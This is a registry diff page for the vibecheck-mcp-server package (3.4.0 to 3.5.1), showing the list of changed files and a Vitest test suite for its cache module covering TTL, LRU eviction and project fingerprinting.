vibecheck-mcp-server 3.4.0 → 3.5.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (94) hide show
  1. package/dist/__tests__/cache.test.d.ts +10 -0
  2. package/dist/__tests__/cache.test.d.ts.map +1 -0
  3. package/dist/__tests__/cache.test.js +239 -0
  4. package/dist/__tests__/cache.test.js.map +1 -0
  5. package/dist/__tests__/executor.test.d.ts +11 -0
  6. package/dist/__tests__/executor.test.d.ts.map +1 -0
  7. package/dist/__tests__/executor.test.js +198 -0
  8. package/dist/__tests__/executor.test.js.map +1 -0
  9. package/dist/__tests__/fixtures/exclusion-test/src/app.d.ts +5 -0
  10. package/dist/__tests__/fixtures/exclusion-test/src/app.d.ts.map +1 -0
  11. package/dist/__tests__/fixtures/exclusion-test/src/app.js +9 -0
  12. package/dist/__tests__/fixtures/exclusion-test/src/app.js.map +1 -0
  13. package/dist/__tests__/ids.test.d.ts +10 -0
  14. package/dist/__tests__/ids.test.d.ts.map +1 -0
  15. package/dist/__tests__/ids.test.js +262 -0
  16. package/dist/__tests__/ids.test.js.map +1 -0
  17. package/dist/__tests__/integration/tools.test.d.ts +10 -0
  18. package/dist/__tests__/integration/tools.test.d.ts.map +1 -0
  19. package/dist/__tests__/integration/tools.test.js +343 -0
  20. package/dist/__tests__/integration/tools.test.js.map +1 -0
  21. package/dist/__tests__/registry.test.d.ts +11 -0
  22. package/dist/__tests__/registry.test.d.ts.map +1 -0
  23. package/dist/__tests__/registry.test.js +289 -0
  24. package/dist/__tests__/registry.test.js.map +1 -0
  25. package/dist/__tests__/sandbox.test.d.ts +11 -0
  26. package/dist/__tests__/sandbox.test.d.ts.map +1 -0
  27. package/dist/__tests__/sandbox.test.js +257 -0
  28. package/dist/__tests__/sandbox.test.js.map +1 -0
  29. package/dist/__tests__/schemas.test.d.ts +7 -0
  30. package/dist/__tests__/schemas.test.d.ts.map +1 -0
  31. package/dist/__tests__/schemas.test.js +313 -0
  32. package/dist/__tests__/schemas.test.js.map +1 -0
  33. package/dist/benchmarks/run-benchmarks.d.ts +18 -0
  34. package/dist/benchmarks/run-benchmarks.d.ts.map +1 -0
  35. package/dist/benchmarks/run-benchmarks.js +245 -0
  36. package/dist/benchmarks/run-benchmarks.js.map +1 -0
  37. package/dist/handlers/tool-handler.d.ts +76 -0
  38. package/dist/handlers/tool-handler.d.ts.map +1 -0
  39. package/dist/handlers/tool-handler.js +522 -0
  40. package/dist/handlers/tool-handler.js.map +1 -0
  41. package/dist/index-v3.d.ts +18 -0
  42. package/dist/index-v3.d.ts.map +1 -0
  43. package/dist/index-v3.js +261 -0
  44. package/dist/index-v3.js.map +1 -0
  45. package/dist/lib/cache.d.ts +110 -0
  46. package/dist/lib/cache.d.ts.map +1 -0
  47. package/dist/lib/cache.js +273 -0
  48. package/dist/lib/cache.js.map +1 -0
  49. package/dist/lib/errors.d.ts +121 -0
  50. package/dist/lib/errors.d.ts.map +1 -0
  51. package/dist/lib/errors.js +254 -0
  52. package/dist/lib/errors.js.map +1 -0
  53. package/dist/lib/executor.d.ts +217 -0
  54. package/dist/lib/executor.d.ts.map +1 -0
  55. package/dist/lib/executor.js +676 -0
  56. package/dist/lib/executor.js.map +1 -0
  57. package/dist/lib/ids.d.ts +121 -0
  58. package/dist/lib/ids.d.ts.map +1 -0
  59. package/dist/lib/ids.js +192 -0
  60. package/dist/lib/ids.js.map +1 -0
  61. package/dist/lib/logger.d.ts +160 -0
  62. package/dist/lib/logger.d.ts.map +1 -0
  63. package/dist/lib/logger.js +268 -0
  64. package/dist/lib/logger.js.map +1 -0
  65. package/dist/lib/metrics.d.ts +146 -0
  66. package/dist/lib/metrics.d.ts.map +1 -0
  67. package/dist/lib/metrics.js +263 -0
  68. package/dist/lib/metrics.js.map +1 -0
  69. package/dist/lib/sandbox.d.ts +78 -0
  70. package/dist/lib/sandbox.d.ts.map +1 -0
  71. package/dist/lib/sandbox.js +277 -0
  72. package/dist/lib/sandbox.js.map +1 -0
  73. package/dist/lib/validator.d.ts +67 -0
  74. package/dist/lib/validator.d.ts.map +1 -0
  75. package/dist/lib/validator.js +178 -0
  76. package/dist/lib/validator.js.map +1 -0
  77. package/index.js +1072 -1573
  78. package/index.old.js +4137 -0
  79. package/package.json +32 -7
  80. package/premium-tools.js +2 -2
  81. package/registry/tools.json +476 -0
  82. package/schemas/error-envelope.schema.json +125 -0
  83. package/schemas/finding.schema.json +167 -0
  84. package/schemas/report-artifact.schema.json +88 -0
  85. package/schemas/run-request.schema.json +75 -0
  86. package/schemas/verdict.schema.json +168 -0
  87. package/tier-auth.js +371 -183
  88. package/truth-context.js +90 -131
  89. package/truth-firewall-tools.js +1000 -1611
  90. package/vibecheck-tools.js +2 -2
  91. package/agent-firewall-interceptor.js +0 -500
  92. package/authority-tools.js +0 -569
  93. package/logger.js +0 -173
  94. package/tools-v3.js +0 -706
@@ -0,0 +1,10 @@
1
+ /**
2
+ * Cache Tests
3
+ *
4
+ * Ensures caching is:
5
+ * - Fast (hits on second run)
6
+ * - Correct (invalidates on config change)
7
+ * - Deterministic (same inputs = same keys)
8
+ */
9
+ export {};
10
+ //# sourceMappingURL=cache.test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"cache.test.d.ts","sourceRoot":"","sources":["../../__tests__/cache.test.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG"}
@@ -0,0 +1,239 @@
1
+ /**
2
+ * Cache Tests
3
+ *
4
+ * Ensures caching is:
5
+ * - Fast (hits on second run)
6
+ * - Correct (invalidates on config change)
7
+ * - Deterministic (same inputs = same keys)
8
+ */
9
+ import { describe, it, expect, beforeAll, afterAll, beforeEach } from 'vitest';
10
+ import { mkdirSync, writeFileSync, rmSync, existsSync } from 'fs';
11
+ import { join } from 'path';
12
+ import { tmpdir } from 'os';
13
+ import { VibecheckCache, getGlobalCache, initGlobalCache } from '../lib/cache.js';
14
+ describe('VibecheckCache', () => {
15
+ let testDir;
16
+ let projectPath;
17
+ beforeAll(() => {
18
+ testDir = join(tmpdir(), `vibecheck-cache-test-${Date.now()}`);
19
+ projectPath = join(testDir, 'test-project');
20
+ mkdirSync(projectPath, { recursive: true });
21
+ // Create package.json for fingerprinting
22
+ writeFileSync(join(projectPath, 'package.json'), JSON.stringify({
23
+ name: 'test-project',
24
+ version: '1.0.0',
25
+ dependencies: { express: '^4.0.0' },
26
+ }));
27
+ // Create package-lock.json
28
+ writeFileSync(join(projectPath, 'package-lock.json'), JSON.stringify({
29
+ name: 'test-project',
30
+ lockfileVersion: 2,
31
+ packages: {},
32
+ }));
33
+ });
34
+ afterAll(() => {
35
+ if (existsSync(testDir)) {
36
+ rmSync(testDir, { recursive: true, force: true });
37
+ }
38
+ });
39
+ describe('Basic Operations', () => {
40
+ let cache;
41
+ beforeEach(() => {
42
+ cache = new VibecheckCache({ maxMemoryEntries: 100, defaultTtl: 300 });
43
+ });
44
+ it('should store and retrieve values', () => {
45
+ const key = 'test-key';
46
+ const data = { findings: [], verdict: 'SHIP' };
47
+ cache.set(key, data);
48
+ const result = cache.get(key);
49
+ expect(result.cached).toBe(true);
50
+ if (result.cached) {
51
+ expect(result.data).toEqual(data);
52
+ }
53
+ });
54
+ it('should report cache miss for unknown keys', () => {
55
+ const result = cache.get('unknown-key');
56
+ expect(result.cached).toBe(false);
57
+ });
58
+ it('should expire entries after TTL', async () => {
59
+ const key = 'ttl-test';
60
+ const data = { test: true };
61
+ cache.set(key, data, { ttl: 0.001 }); // 1ms TTL
62
+ // Wait for TTL to expire
63
+ await new Promise(resolve => setTimeout(resolve, 10));
64
+ const result = cache.get(key);
65
+ expect(result.cached).toBe(false);
66
+ });
67
+ it('should track cache age', async () => {
68
+ const key = 'age-test';
69
+ const data = { test: true };
70
+ cache.set(key, data);
71
+ // Wait a bit
72
+ await new Promise(resolve => setTimeout(resolve, 50));
73
+ const result = cache.get(key);
74
+ if (result.cached) {
75
+ expect(result.age).toBeGreaterThanOrEqual(50);
76
+ }
77
+ });
78
+ it('should clear all entries', () => {
79
+ cache.set('key1', { a: 1 });
80
+ cache.set('key2', { b: 2 });
81
+ expect(cache.getStats().memoryEntries).toBe(2);
82
+ cache.clear();
83
+ expect(cache.getStats().memoryEntries).toBe(0);
84
+ });
85
+ });
86
+ describe('LRU Eviction', () => {
87
+ it('should evict oldest entries when at capacity', () => {
88
+ const cache = new VibecheckCache({ maxMemoryEntries: 3 });
89
+ cache.set('key1', { v: 1 });
90
+ cache.set('key2', { v: 2 });
91
+ cache.set('key3', { v: 3 });
92
+ // Access key1 to make it most recently used
93
+ cache.get('key1');
94
+ // Add new key, should evict key2 (oldest not accessed)
95
+ cache.set('key4', { v: 4 });
96
+ // key1 should still be there (accessed recently)
97
+ expect(cache.get('key1').cached).toBe(true);
98
+ // key4 should be there (just added)
99
+ expect(cache.get('key4').cached).toBe(true);
100
+ });
101
+ });
102
+ describe('Key Generation', () => {
103
+ let cache;
104
+ beforeEach(() => {
105
+ cache = new VibecheckCache();
106
+ });
107
+ it('should generate deterministic keys', () => {
108
+ const key1 = cache.generateKey('scan', projectPath, { profile: 'quick' });
109
+ const key2 = cache.generateKey('scan', projectPath, { profile: 'quick' });
110
+ expect(key1).toBe(key2);
111
+ });
112
+ it('should generate different keys for different options', () => {
113
+ const key1 = cache.generateKey('scan', projectPath, { profile: 'quick' });
114
+ const key2 = cache.generateKey('scan', projectPath, { profile: 'full' });
115
+ expect(key1).not.toBe(key2);
116
+ });
117
+ it('should generate different keys for different tools', () => {
118
+ const key1 = cache.generateKey('scan', projectPath, {});
119
+ const key2 = cache.generateKey('ship', projectPath, {});
120
+ expect(key1).not.toBe(key2);
121
+ });
122
+ it('should include project fingerprint in key', () => {
123
+ const key = cache.generateKey('scan', projectPath, {});
124
+ // Key should contain fingerprint component
125
+ expect(key).toMatch(/scan:.*:.*:.*/);
126
+ });
127
+ });
128
+ describe('Project Fingerprinting', () => {
129
+ let cache;
130
+ beforeEach(() => {
131
+ cache = new VibecheckCache();
132
+ });
133
+ it('should compute fingerprint from package.json', () => {
134
+ const fingerprint = cache.getProjectFingerprint(projectPath);
135
+ expect(fingerprint.hash).toBeDefined();
136
+ expect(fingerprint.hash.length).toBe(16);
137
+ expect(fingerprint.packageJsonHash).toBeDefined();
138
+ });
139
+ it('should include lockfile in fingerprint', () => {
140
+ const fingerprint = cache.getProjectFingerprint(projectPath);
141
+ expect(fingerprint.lockfileHash).toBeDefined();
142
+ });
143
+ it('should cache fingerprints', () => {
144
+ const fingerprint1 = cache.getProjectFingerprint(projectPath);
145
+ const fingerprint2 = cache.getProjectFingerprint(projectPath);
146
+ // Should be exact same object (cached)
147
+ expect(fingerprint1).toBe(fingerprint2);
148
+ });
149
+ it('should invalidate fingerprint cache on request', () => {
150
+ const fingerprint1 = cache.getProjectFingerprint(projectPath);
151
+ cache.invalidate(projectPath);
152
+ const fingerprint2 = cache.getProjectFingerprint(projectPath);
153
+ // Should be different objects (recomputed)
154
+ expect(fingerprint1).not.toBe(fingerprint2);
155
+ // But same values if files unchanged
156
+ expect(fingerprint1.hash).toBe(fingerprint2.hash);
157
+ });
158
+ });
159
+ describe('Incremental Detection', () => {
160
+ let cache;
161
+ beforeEach(() => {
162
+ cache = new VibecheckCache();
163
+ });
164
+ it('should detect when incremental run is needed', () => {
165
+ const currentFingerprint = cache.getProjectFingerprint(projectPath);
166
+ // Same fingerprint = no incremental needed
167
+ const canRun = cache.canRunIncremental(projectPath, currentFingerprint.hash);
168
+ expect(canRun).toBe(false); // No change detected
169
+ });
170
+ it('should detect changes for incremental run', () => {
171
+ const canRun = cache.canRunIncremental(projectPath, 'different-fingerprint');
172
+ expect(canRun).toBe(true); // Change detected
173
+ });
174
+ });
175
+ describe('Statistics', () => {
176
+ it('should track statistics', () => {
177
+ const cache = new VibecheckCache();
178
+ cache.set('key1', { a: 1 });
179
+ cache.set('key2', { b: 2 });
180
+ cache.getProjectFingerprint(projectPath);
181
+ const stats = cache.getStats();
182
+ expect(stats.memoryEntries).toBe(2);
183
+ expect(stats.fingerprintEntries).toBe(1);
184
+ });
185
+ });
186
+ describe('Global Cache', () => {
187
+ it('should return singleton instance', () => {
188
+ const cache1 = getGlobalCache();
189
+ const cache2 = getGlobalCache();
190
+ expect(cache1).toBe(cache2);
191
+ });
192
+ it('should allow re-initialization', () => {
193
+ const originalCache = getGlobalCache();
194
+ initGlobalCache({ maxMemoryEntries: 50, defaultTtl: 60 });
195
+ const newCache = getGlobalCache();
196
+ // Should be different instance after re-init
197
+ expect(newCache).not.toBe(originalCache);
198
+ });
199
+ });
200
+ describe('Cache Hit Scenario', () => {
201
+ it('should hit cache on second access with same key', () => {
202
+ const cache = new VibecheckCache();
203
+ const key = cache.generateKey('scan', projectPath, { profile: 'quick' });
204
+ const data = { verdict: 'SHIP', findings: [] };
205
+ // First access - miss
206
+ const result1 = cache.get(key);
207
+ expect(result1.cached).toBe(false);
208
+ // Store data
209
+ cache.set(key, data);
210
+ // Second access - hit
211
+ const result2 = cache.get(key);
212
+ expect(result2.cached).toBe(true);
213
+ if (result2.cached) {
214
+ expect(result2.data).toEqual(data);
215
+ }
216
+ });
217
+ it('should invalidate on fingerprint change', () => {
218
+ const cache = new VibecheckCache();
219
+ const data = { verdict: 'SHIP', findings: [] };
220
+ // Store with current fingerprint
221
+ const key1 = cache.generateKey('scan', projectPath, { profile: 'quick' });
222
+ cache.set(key1, data);
223
+ // Simulate project change by modifying package.json
224
+ const newProjectPath = join(testDir, 'changed-project');
225
+ mkdirSync(newProjectPath, { recursive: true });
226
+ writeFileSync(join(newProjectPath, 'package.json'), JSON.stringify({
227
+ name: 'changed-project',
228
+ version: '2.0.0', // Different version
229
+ }));
230
+ // New key should be different
231
+ const key2 = cache.generateKey('scan', newProjectPath, { profile: 'quick' });
232
+ expect(key1).not.toBe(key2);
233
+ // Cache should miss for new project
234
+ const result = cache.get(key2);
235
+ expect(result.cached).toBe(false);
236
+ });
237
+ });
238
+ });
239
+ //# sourceMappingURL=cache.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"cache.test.js","sourceRoot":"","sources":["../../__tests__/cache.test.ts"],"names":[],"mappings":"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